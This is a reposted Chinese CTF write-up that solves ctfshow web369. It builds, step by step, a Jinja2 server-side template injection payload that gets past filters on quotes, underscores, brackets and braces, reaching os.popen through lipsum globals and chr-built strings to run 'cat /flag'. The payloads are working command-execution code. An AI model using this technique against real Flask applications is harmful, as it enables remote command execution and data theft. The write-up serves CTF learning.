SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)

这篇具有很好参考价值的文章主要介绍了SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)

写在前面

由于request被过滤,我们就不能再使用传参的方式进行传递命令以及被过滤的关键字,下划线中括号花括号都被过滤,这样的话我们就只能使用{%%}来进行设置变量以及拼接方法的方式来进行利用SSTI漏洞。

实例引入

本章内容,咱们就先研究怎么做出ctfshow web入门369这道题目,然后再讲解绕过的原理。

判断是否存在SSTI模板注入漏洞

由于双花括号被过滤,我们只能使用{%%}来判断,我们传入参数?name={%print 123%},来观察页面是否回显123,如果回显123即存在SSTI模板注入漏洞。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print 123%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全
页面回显123,存在SSTI模板注入漏洞。

拼接payload

我们先确定我们使用哪一个payload去打它,我们就以:

{%print ((lipsum)|attr("__globals__")).get("os").popen("cat /flag").read()%}

我们分析一下:
引号、下划线被过滤,我们不能直接使用" attr(“__globals__”) ",并且request被过滤,不能通过传参,我们就只能通过拼接字符串的方式获取,并且后面的get方法、popen方法、os模块、shell命令都要采取拼接完成。

获取__globals__
获取globals字符串
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set globals=dict(globals=a)|join%}
{%print globals%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

获取下划线

我们获得了globals字符串,还需要下划线来拼接,那么下划线如何获取呢?
我们就通过lipsum|string|list中获取。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string|list%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

获取pop方法

我们知道从哪里获取下划线之后,但是要考虑如何使用索引值来获取,这时我们就想到了pop()方法。pop()方法可以通过传入列表元素的索引值将列表中的该元素删除并返回该元素的值。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%print pop%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全
这样的话我们就可以获取到下划线了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%print xiahuaxian%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全
获取下划线之后也就自然能获得__globals__。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=dict(globals=a)|join%}
{%print (xiahuaxian,xiahuaxian,globals,xiahuaxian,xiahuaxian)|join%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

获取os模块
获取os字符串

先获取到os字符。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set shell=dict(o=a,s=b)|join%}
{%print shell%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

获取get()方法

获取get,以便我们使用get()获取到os模块。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set get=dict(get=a)|join%}
{%print get%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

获取popen方法

还是先获取popen字符串。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set popen=dict(popen=a)|join%}
{%print popen%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全
获取popen方法

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set get=dict(get=a)|join%}
{%set popen=dict(popen=a)|join%}
{%print (lipsum|attr(globals))|attr(get)(shell)|attr(popen)%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

执行shell命令

拼接shell命令我们需要使用chr函数,因为chr不是flask的函数,所以我们必须自己获取。

获取chr函数

我们使用:

(lipsum|attr("__globals__"))|attr("__builtins__")|attr(get)(chr)

来获取。
但是我们没有__builtins__,也需要我们自己拼接获取。

获取__builtins__
http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全
这样就可以获取chr函数了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%print char%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

拼接shell命令

我们已经获取到了chr函数,就可以使用它来拼接我们的shell命令了。
我们以"cat /flag"命令为例。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%print command%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

执行命令

接下来我们就可以执行我们拼接好的shell命令了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)%}
{%print result%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全
我们发现竟然显示了个这么个东西,这显然不是我们的flag呀!
这是什么情况呢?因为popen()方法执行的返回结果是一个file对象,我们需要在使用read()函数进行读取。

再创建read()方法吧。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set read=dict(read=a)|join%}
{%print read%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全
有read,我们就可以直接读取执行命令的返回结果了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全
成功获取到flag!

完整payload介绍

?name=
 获取pop字段以便使用pop函数
{%set pop=dict(po=a,p=b)|join%} 
 获取下划线,以便拼接__globals__和__builtins__
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
 获取__globals__
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
 获取get字段,以便使用get函数
{%set get=dict(get=a)|join%}
 获取os字段,以便获取os模块
{%set shell=dict(o=a,s=b)|join%}
 获取popen字段,以便使用popen函数
{%set popen=dict(popen=a)|join%}
 获取__builtins__以便获取chr函数
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
 获取chr字段,以便获取chr函数
{%set ch=dict(ch=a,r=b)|join%}
 获取chr函数,以便拼接shell命令
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
 拼接shell命令,以便获取flag
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
 获取read字段,以便使用read函数读取命令执行的结果
{%set read=dict(read=a)|join%}
 将命令执行结果存放在result中
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
 输出命令执行结果
{%print result%}

绕过原理

绕过过程中,我们会用到许多的知识,有的小伙伴可能不太理解,这里进行简单介绍:

lipsum|attr()

lipsum是flask的一个方法,lipsum|attr(“__globals__”) 就相当于 lipsum.__globals__。

()|join

()|join方法,可以将小括号里的内容进行拼接起来。例如:(1,2,3)|join 就可以打印出123。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print (1,2,3)|join%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

dict()|join

毫无疑问,dict就是一个字段,而dict()|join,就是将该字典的key值进行拼接,例如:dict(a=1,b=2)|join 的输出结果就是ab

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print dict(a=1,b=2)|join%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全

lipsum|string|list

上边已经说过,lipsum是flask的一个方法,lipsum|string就是一串介绍lipsum的字符串。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全
而lipsum|string|list就是将lipsum|string生成的字符串以列表的形式进行展示,这样该字符串的每个字符都是该列表的元素,我们就可以使用索引值来获取该列表我们需要的字符了。

http://31f447da-596e-4394-bf87-806bf07e2454.challenge.ctf.show/
?name={%print lipsum|string|list%}

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369),CTFShow,SSTI模板注入,网络安全,安全,web安全文章来源地址https://www.toymoban.com/news/detail-715536.html

到了这里,关于SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号被过滤绕过(ctfshow web入门369)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Thymeleaf SSTI模板注入分析

    先搭建一个SpringMVC项目,参考这篇文章,或者参考我以前的spring内存马分析那篇文章 https://blog.csdn.net/weixin_65287123/article/details/136648903 简单写个servlet 这样就是访问到index.jsp 路由解析流程主要就是 Model 和 View 以及最后 Render 。return处打个断点,看怎么处理的 先进入 invokeAndHa

    2024年04月12日
    浏览(31)
  • SSTI服务器模板注入漏洞

    与任何漏洞一样,利用漏洞的第一步就是能够找到它 介绍 该靶场重点在于利用 Node.js 中的模板引擎 Handlebars 中识别的服务器端模板注入漏洞。本演练将演示当开发人员未正确清理用户输入时,如何在 Web 服务器中利用 SSTI。我们还将介绍 Node.js、模板引擎和全局变量的基础知

    2024年02月07日
    浏览(42)
  • flask模板注入(ssti),一篇就够了

    1.什么是flask?   flask是用python编写的一个轻量web开发框架 2.ssti成因 flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入 本地演示(需要自行安装flask,requests模块) 通过输入参数key可以进行简单的渲

    2024年02月07日
    浏览(71)
  • Web攻防--Java_SQL注入--XXE注入-- SSTI模板注入--SPEL表达式注入

    编译器在编译sql语句时,会依次进行词法分析、语法分析、语义分析等操作, 预编译技术会让数据库跳过编译阶段,也就无法就进行词法分析,不会被拆开,注入语句也就不会被识别为SQL的,从而防止恶意注入语句改变原有SQL语句本身逻辑。 在使用JDBC进行数据

    2024年02月09日
    浏览(60)
  • Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全

    笔记分享 一、代码块 二、常用方法 三、SSTI-jinja2执行命令的六种方式 最后附上我的思维导图 开始做题 进去是个这玩意。非常明显的SSTI模板注入的特征。 题目有提到名字就是考点。 测试一下是jinja2模板 payload:(以下这些都可以) 开始过滤了,测试了一下过滤了数字,1和

    2024年02月13日
    浏览(39)
  • 详解Python单下划线和双下划线使用

    在Python编程中,我们经常会遇到单下划线(_)和双下划线(__)的使用。它们在命名标识符、变量、方法和属性中扮演着不同的角色。本文将详细解释Python中单下划线和双下划线的含义和用法,并通过代码示例进行讲解,帮助你理解它们的作用和适用场景。 命名约定。在Py

    2024年02月10日
    浏览(39)
  • HTML中设定下划线样式并且指定下划线长度

    今天笔者在写网页导航栏时,想要给链接加一个悬停下划线,写出来如下 HTMl: CSS:(关于其他格式的设定略,只看下划线这一段代码) 这样确实是设定下划线了,但是效果如下,看上去很难看 既然这样,那么该如何改变一下呢? 其实可以使用border-bottom来实现,代码如下

    2024年02月10日
    浏览(39)
  • Python 中的单下划线和双下划线

    哈喽大家好,我是咸鱼 当我们在学习 Python 的时候,可能会经常遇到单下划线 _ 和双下划线 __ 这两种命名方式 单下划线 _ 和双下划线 __ 不仅仅是只是一种简单的命名习惯,它们在 Python 中有着特殊的含义,对于代码的可读性和功能实现有着关键的作用。 那么今天我们来看一

    2024年02月05日
    浏览(42)
  • css 下划线

    在 CSS 中,可以使用 \\\"text-decoration\\\" 属性来设置文本的下划线。例如: 这会使所有的段落文本都带有下划线。你也可以使用 \\\"text-decoration-style\\\" 属性来设置下划线的样式,例如实线、虚线或点线等。 你还可以使用 \\\"border-bottom\\\" 属性来设置下划线,例如: 这会在段落文本下方添加

    2024年02月12日
    浏览(34)
  • css下划线跟随导航

    2024年01月23日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包